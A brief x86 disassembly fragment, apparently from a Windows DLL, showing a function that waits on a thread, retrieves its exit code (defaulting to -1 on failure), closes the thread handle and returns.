push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x1003008f
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret